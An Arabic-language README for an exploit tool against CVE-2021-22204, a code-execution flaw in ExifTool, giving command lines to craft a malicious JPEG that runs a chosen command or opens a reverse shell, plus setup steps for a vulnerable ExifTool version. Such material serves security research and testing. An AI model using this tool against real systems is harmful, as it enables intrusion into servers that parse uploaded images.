
استغلال لـ CVE-2021-22204 (ExifTool) - تنفيذ كود عشوائي

أعجبك هذا المستودع؟ امنحنا ⭐!
لأغراض تعليمية وبحثية أمنية مرخصة فقط.
@UNICORDev بواسطة (@NicPWNs و @Dev-Yeoj)
التحييد غير السليم لبيانات المستخدم في تنسيق ملف DjVu في ExifTool من الإصدار 7.44 فما فوق يسمح بتنفيذ أكواد عشوائية عند تحليل الصورة الخبيثة.
استخدم هذا الاستغلال لإنشاء حمولة صورة JPEG يمكن استخدامها مع إصدار ExifTool ضعيف لتنفيذ الأكواد. يمكن توفير أمر مخصص أو إنشاء شل عكسي. يتم إنشاء صورة JPEG تلقائياً، واختيارياً، يمكن توفير صورة JPEG مخصصة لإدراج الحمولة فيها.
python3 exploit-CVE-2021-22204.py -c <command>
python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port>
python3 exploit-CVE-2021-22204.py -c <command> [-i <image.jpg>]
python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port> [-i <image.jpg>]
python3 exploit-CVE-2021-22204.py -h
-c Custom command mode. Provide command to execute.
-s Reverse shell mode. Provide local IP and port.
-i Path to custom JPEG image. (Optional)
-h Show this help menu.
تحميل exploit-CVE-2021-22204.py من GitHub
تحميل exploit-CVE-2021-22204.py من ExploitDB
searchsploit -u
searchsploit -m 50911

Exiftool Version 12.23
Exiftool Versions 7.44 - 12.23
wget https://github.com/exiftool/exiftool/archive/refs/tags/12.23.zip
unzip exiftool-12.23.zip
cd exiftool-12.23
perl Makefile.PL
make test
sudo make install
exiftool -ver
exiftool image.jpg